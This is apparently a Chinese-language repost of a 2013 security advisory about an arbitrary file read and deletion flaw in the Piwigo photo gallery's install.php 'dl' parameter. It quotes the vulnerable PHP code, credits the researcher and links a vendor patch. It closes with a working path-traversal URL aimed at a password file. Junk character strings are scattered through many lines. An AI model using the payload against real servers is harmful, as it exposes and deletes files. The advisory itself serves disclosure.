Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:
' t. \* W2 k) W- n  D4 x-------------
( U' {4 t' i6 }113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
6 l$ F4 O( M* E& Y+ R$ x. U3 N114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
5 k# ^/ Z7 y( b. M# a118:   header('Content-Disposition: attachment; filename="database.inc.php"');
* q& F% [. ~/ v* p/ m119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
4 J0 G. q  m+ b3 P8 S( f* ]123:   exit();
124: }
, q" W6 f* o% M+ S3 R0 u0 z====================================================================
7 ]. _' u# `4 `% p/ z2 ~
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
2 `; r  J% Q; ]3 c           PHP 5.4.4
# u) P. r; t+ H           MySQL 5.5.25a
/ s3 K6 f( A! |+ L/ @: g8 M7 T' G
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
0 ^; L( Y+ d. b  w& W                            @zeroscience

1 r3 t/ x0 I) M& L% B* tAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
' m+ G! O; n; s& t& @* n1 h' Y
15.02.2013
4 P/ m, E1 ?8 t
( r, g' x6 m, L6 ~, d--
8 h4 v4 c5 \; [! v8 fhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt